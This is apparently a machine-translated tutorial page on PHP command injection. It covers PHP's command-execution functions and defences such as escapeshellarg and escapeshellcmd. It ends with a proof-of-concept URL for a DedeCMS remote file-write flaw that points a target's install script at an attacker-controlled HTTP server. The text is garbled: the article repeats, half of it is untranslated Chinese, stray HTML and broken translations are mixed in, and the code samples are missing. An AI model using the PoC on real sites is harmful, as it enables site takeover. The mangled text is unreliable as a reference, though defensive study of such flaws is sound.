PHP コマンドインジェクション攻撃の脆弱性は、PHP アプリケーションによく見られるスクリプトの脆弱性の 1 つで、国内の有名な Web アプリケーション Discuz!、DedeCMS などにはすべてこの種の脆弱性があります。
コマンドインジェクション、つまりコマンドインジェクション攻撃とは、Webアプリケーションがユーザーによって送信されたデータを厳密にフィルタリングしていないため、ハッカーが特別なコマンドを構築することによってWebアプリケーションにデータを送信できるという事実を指しますこのメソッドを使用して、外部プログラムまたはシステム コマンドを実行して、攻撃を実行したり、データやネットワーク リソースを不正に取得したりすることができます。
PHPコマンドインジェクション攻撃が存在する主な理由は、WebアプリケーションのプログラマーがPHP言語のコマンド実行機能を持つ一部の関数を使用する際に、ユーザーが送信したデータ内容が厳密なフィルタリングを行わずに関数に持ち込まれて実行されることです。たとえば、ハッカーによって送信されたデータ コンテンツが Web サイトのディレクトリに PHP ファイルを書き込むものである場合、このコマンドを使用して PHP バックドア ファイルに攻撃の脆弱性を挿入し、さらに侵入攻撃を実行することができます。
PHPコマンドインジェクションの脆弱性による被害と影響は非常に深刻です。以下の方法でコマンドインジェクション攻撃の脆弱性の存在を防ぐことができます:
1. 外部アプリケーションやコマンドを実行しないようにします。
2. カスタム関数または関数ライブラリを使用して、外部アプリケーションまたはコマンドの機能を実装します。
3. systemやevalなどのコマンドを実行する関数を実行する前にパラメータの内容を決定します。
4. 関数escapeshellargを使用して、関連するパラメータを処理します。 escapeshellarg 関数は、パラメータまたはコマンドの終了を引き起こす文字をすべてエスケープします。たとえば、一重引用符「'」は「'」としてエスケープされ、二重引用符「"」は「"」としてエスケープされ、セミコロンはエスケープされます。 「;」は「;」としてエスケープされるため、escapeshellarg はパラメータの内容を一重引用符または二重引用符のペアに制限し、パラメータに含まれる一重引用符または二重引用符をエスケープして、現在の実行を切り詰めることができません。コマンドインジェクション攻撃の目的を阻止します。
5. 実行可能ファイルのパスを実行するには、safe_mode_exec_dir を使用します。 php.ini ファイルのsafe_modeをOnに設定し、実行可能ファイルをディレクトリに置き、safe_mode_exec_dirを使用して実行可能ファイルのパスを指定します。このように、対応する外部プログラムを実行する必要がある場合、実行が許可される前に、そのプログラムは、safe_mode_exec_dir で指定されたディレクトリに存在する必要があります。そうでない場合、実行は失敗します。
PHP コマンドインジェクション攻撃の脆弱性は、PHP アプリケーションによくある脆弱性の 1 つです。 Discuz!、Dedecms などの大規模プログラムなどの国内の有名な PHP アプリケーションには、インターネット上でコマンド インジェクション攻撃の脆弱性が存在すると報告されており、ハッカーはコマンド インジェクション攻撃の脆弱性を利用して Web サイトのアクセス許可を迅速に取得し、次のような悪意のある攻撃を実行できます。馬乗りやフィッシングなど、その影響と被害は甚大です。同時に、PHP 言語は現在、Web アプリケーション開発の大部分で使用されています。Web アプリケーション プログラマーは、コマンド インジェクション攻撃の脆弱性の危険性を理解し、プログラム内のハッカーによって悪用される可能性のある脆弱性にパッチを当て、Web アプリケーションのセキュリティを保護する必要があります。トロイの木馬やフィッシングなどの悪意のあるコードによる攻撃
PHPでは、外部のプログラムや関数を実行できるコマンド実行機能には、以下の5つの機能があります。
は、外部アプリケーションを実行し、対応する実行結果を出力するために使用できます。関数のプロトタイプは次のとおりです。 string system(string command, int &return_var) ここで、command は対象のコマンドです。 return_var にはコマンド実行後のステータス値が格納されます。 PHP プログラマの考えによれば、コマンド実行機能の主な機能は、コマンド実行機能を通じて Web アプリケーションと対話し、Web アプリケーション プログラマが取得したい外部プログラムやシステム コマンドを実行することです。システム関数を通じて IP アドレスとその他の情報を取得するには、次のコードを構築します。次のコードでは、$action という名前の変数が定義されており、その値は取得した cmd 値 (system($action)) です。ここで、$action は system のパラメーター、つまり実行されるコマンドです。 PHP をデバッグするときに、var_dump または print_r を使用してデータまたは配列を出力すると、HTML ページに多くのコンテンツが表示され、出力の前に を追加するのが困難になります。表示のための改行。 <br>ブラウザのアドレスバーに「http://localhost/test.php?cmd=ipconfig」と入力すると、cmdの値がipconfigに代入されると、システム関数はIPアドレス情報を出力します =</span></p>
<h3>
<span style='font-family: 微软雅黑, "Microsoft YaHei";'>2.2 exec関数</span> </h3>
<p><span style='font-family: 微软雅黑, "Microsoft YaHei";'> 外部アプリケーションの実行に使用できます。関数のプロトタイプは次のとおりです。<div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">string exec ( string $command [, array &$output [, int &$return_var ]] ),
ここで、command は実行されるコマンド、output は実行されたコマンドの出力の各行の文字列、return_var はコマンド実行後のステータス値を格納します。
は、システムコマンドを実行し、元の出力を表示するために使用できます。システムコマンドの出力がバイナリデータであり、値をブラウザに直接返す必要がある場合、パススルー関数が使用されます。 system 関数と exec 関数を使用する必要があります。パススルー関数のプロトタイプは次のとおりです。
void passthru (string command, int &return_var),
ここで、command は実行されるコマンドであり、return_var はコマンド実行後のステータス値を格納します。次の PHP コードを構築することでテストできます。
は、シェルコマンドを実行し、出力文字列を返します。関数のプロトタイプは次のとおりです:
string shell_exec (string command),
command
は、実行されるコマンドです。
はshell_execと同じ機能を持ち、シェルコマンドを実行して出力文字列を返します。
popen()関数はプロセスファイルポインタを開き、つまり、opens フォークによって指定されたコマンドの実行によって生成されたプロセスを指すパイプ。ただし、一方向であり (読み取りまたは書き込みにのみ使用できる)、pclose で閉じる必要がある点を除き、ファイル ポインターを返します。 () の場合、 false を返します。関数のプロトタイプは次のとおりです:popen(string $command, string $mode)。ここで、command は実行するコマンドを指定し、mode は接続モードを指定します。r は読み取り専用で、w は読み取り専用です。書き込み専用。
は、コマンドを実行し、入出力用のファイル ポインターを開くために使用されます。ただし、proc_open() は、より強力な関数を提供します。プログラムの実行を制御する機能。関数のプロトタイプは次のとおりです:
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
現在のプロセスのpcntl_exec関数 Spaceは、エラーが発生した場合はFALSEを返し、エラーがない場合は戻りません。 関数のプロトタイプは次のとおりです。 void pcntl_exec ( string $ path [, array $args [, array $envs ]] ) ここで、 path は実行可能なバイナリ ファイルのパス、またはファイルの最初の行に実行可能なパス ヘッダーを指定するスクリプトである必要があります。 args は引数の文字列配列です。 envs は環境変数としてプログラムに渡される文字列の配列です。配列は key => value 形式で、key は渡される環境変数の名前を表し、value はその値を表します。
ユーザーが入力したデータが関数パラメーターとして使用される場合、escapeshellarg () 関数またはscapeshellcmd() 関数を使用して、ユーザーが入力したデータをフィルタリングできます。ユーザーがシステムをだまして任意のコマンドを実行できないようにします。
関数は、文字列内の特殊記号を削除し、コマンド内のすべての文字をエスケープします。これらのメタ文字には次のようなものがあります。 # & ;``,| ~ < ^ ( ) [ ] { } $ \。関数のプロトタイプは次のとおりです: stringscapeshellcmd(string command)。この関数は、文字列内の特殊記号を削除して、ユーザーが悪意を持ってサーバー システムをクラックするのを防ぎます。
この関数は、文字列をシェルコマンドで使用できるパラメータに変換します。 escapeshellarg() は文字列に一重引用符を追加し、既存の一重引用符を引用またはエスケープできるため、文字列をシェル関数に直接渡しても安全であることが保証されます。この関数は、ユーザーが入力した一部のパラメータに使用する必要があります。これは PHP セキュリティで使用でき、arg に存在するいくつかの特殊文字を除外します。入力パラメータに中国語の文字が含まれており、escapeshellarg に渡される場合、それらはフィルタリングされて除外されます。関数のプロトタイプは次のとおりです: stringscapeshellarg (string $arg)。ここで、arg はエスケープする必要があるパラメータです。
添付: dedecms リモート ファイル書き込みの脆弱性リンク (この記事のナレッジ ポイントとは関係ありません)
https://www.seebug.org/vuldb/ssvid-89354
poc:
http://target IP/ install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://http:// 自分で制御する HTTP サーバー/
PHP コマンド インジェクション攻撃の脆弱性は、一般的なスクリプトの脆弱性の 1 つです。 PHP アプリケーションではこの種の脆弱性が存在し、中国ではよく知られています。Discuz!、DedeCMS などの Web アプリケーションにはすべてこの種の脆弱性があります。
コマンドインジェクション、つまりコマンドインジェクション攻撃とは、Webアプリケーションがユーザーによって送信されたデータを厳密にフィルタリングしないため、ハッカーが特別なコマンド文字列を構築してWebアプリケーションにデータを送信し、外部プログラムやシステムコマンドが攻撃を実行し、データやネットワークリソースを不正に取得する方法です。
PHPコマンドインジェクション攻撃が存在する主な理由は、WebアプリケーションプログラマーがPHP言語のコマンド実行機能を持つ一部の関数を使用する際、ユーザーが送信したデータ内容が厳密なフィルタリングを行わずに関数に持ち込まれて実行されることです。たとえば、ハッカーによって送信されたデータ コンテンツが PHP ファイルを Web サイトのディレクトリに書き込むものである場合、このコマンドを使用して攻撃の脆弱性を PHP バックドア ファイルに挿入し、さらに侵入攻撃を実行することができます。
PHPコマンドインジェクションの脆弱性による被害と影響は非常に深刻です。以下の方法でコマンドインジェクション攻撃の脆弱性の存在を防ぐことができます:
1. 外部アプリケーションやコマンドを実行しないようにします。
2. カスタム関数または関数ライブラリを使用して、外部アプリケーションまたはコマンドの機能を実装します。
3. systemやevalなどのコマンドを実行する関数を実行する前にパラメータの内容を決定します。
4. 関数escapeshellargを使用して、関連するパラメータを処理します。 escapeshellarg 関数は、パラメータまたはコマンドの終了を引き起こす文字をすべてエスケープします。たとえば、一重引用符「'」は「'」としてエスケープされ、二重引用符「"」は「"」としてエスケープされ、セミコロンはエスケープされます。 「;」は「;」としてエスケープされるため、escapeshellarg はパラメータの内容を一重引用符または二重引用符のペアに制限し、現在の実行が切り捨てられないようにパラメータに含まれる一重引用符または二重引用符をエスケープします。コマンドインジェクション攻撃の目的を阻止します。
5. 実行可能ファイルのパスを実行するには、safe_mode_exec_dir を使用します。 php.ini ファイルのsafe_modeをOnに設定し、実行可能ファイルをディレクトリに置き、safe_mode_exec_dirを使用して実行可能ファイルのパスを指定します。このように、対応する外部プログラムを実行する必要がある場合、実行が許可される前に、そのプログラムは、safe_mode_exec_dir で指定されたディレクトリに存在する必要があります。そうでない場合、実行は失敗します。
PHP コマンドインジェクション攻撃の脆弱性は、PHP アプリケーションによくある脆弱性の 1 つです。 Discuz!、Dedecms などの大規模プログラムなどの国内の有名な PHP アプリケーションには、インターネット上でコマンド インジェクション攻撃の脆弱性が存在すると報告されており、ハッカーはコマンド インジェクション攻撃の脆弱性を利用して Web サイトのアクセス許可を迅速に取得し、次のような悪意のある攻撃を実行できます。馬乗りやフィッシングなど、その影響と被害は甚大です。同時に、PHP 言語は現在、Web アプリケーション開発の大部分で使用されています。Web アプリケーション プログラマーは、コマンド インジェクション攻撃の脆弱性の危険性を理解し、プログラム内のハッカーによって悪用される可能性のある脆弱性にパッチを当て、Web アプリケーションのセキュリティを保護する必要があります。トロイの木馬やフィッシングなどの悪意のあるコードによる攻撃
PHPでは、外部のプログラムや関数を実行できるコマンド実行機能には、以下の5つの機能があります。
可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:string system(string command, int &return_var)其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。按照PHP程序员的想法,命令执行函数的主要作用是可以通过命令执行函数与Web应用程序进行交互,通过Web应用程序执行外部程序或系统命令,如Web应用程序员想通过system函数获取IP地址、用户等信息,那么他可以通过构造如下代码实现。在下面的代码中,定义了一个名为$action的变量,其值为获得的cmd值,system($action));中$action为system的参数,即要执行的命令。当我们PHP调试的时候,用var_dump 或 print_r打印数据或数组时,html页面没有换行显示,看到的内容一大堆,不好定位,输出前添加 ,便可以自动格式化换行显示。 <br/>在浏览器地址栏输入”http://localhost/test.php?cmd=ipconfig”,当cmd的值赋值为ipconfig时,system函数输出IP地址信息=</span></p><h3><span style="font-family: 微软雅黑, "Microsoft YaHei";">2.2 exec函数</span></h3><p><span style="font-family: 微软雅黑, "Microsoft YaHei";">可以用来执行一个外部的应用程序,函数原型如下: <br/></span></p><div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">string exec ( string $command [, array &$output [, int &$return_var ]] ),
其中command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。
可以用来执行一个系统命令并显示原始的输出,当系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:
void passthru (string command, int &return_var),
其中command是要执行的命令,return_var存放执行命令后的状态值。可以通过构造如下PHP代码进行测试。
执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command),command是要执行的命令。
与shell_exec功能相同,执行shell命令并返回输出的字符串。
popen() 函数打开进程文件指针,即打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。返回一个文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。若出错,则返回 false。函数原型如下:popen(string $command,string $mode),其中,command为规定要执行的命令,mode规定连接模式,r为只读,w为只写。
用于执行一个命令,并且打开用来输入/输出的文件指针。与popen()函数类似,但是 proc_open()提供了更加强大的控制程序执行的能力。函数原型如下:
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
pcntl_exec函数在当前进程空间执行指定程序。当发生错误时返回 FALSE,没有错误时没有返回。函数原型如下:void pcntl_exec ( string $path [, array $args [, array $envs ]] )其中,path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本;args是一个要传递给程序的参数的字符串数组;envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
当用户输入的数据作为函数参数时,可以使用escapeshellarg()或escapeshellcmd()函数来过滤用户输入的数据,防止用户欺骗系统执行任意命令。
除去字符串中的特殊符号,会转义命令中的所有shell元字符来完成工作。这些元字符包括:# & ;``,| * ? ~ < > ^ ( ) [ ] { } $ \\。函数原型如下:string escapeshellcmd(string command)。本函数除去了字符串中的特殊符号,可以防止使用者恶意破解服务器系统。
该函数把字符串转码为可以在shell命令里使用的参数。escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。可以用到php的安全中,会过滤掉arg中存在的一些特殊字符。在输入的参数中如果包含中文传递给escapeshellarg,会被过滤掉。函数原型如下:
string escapeshellarg ( string $arg )
,其中arg为需要被转码的参数。
以上がPHP コマンド インジェクション dedecms リモート書き込みファイル リンクのサンプル共有の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。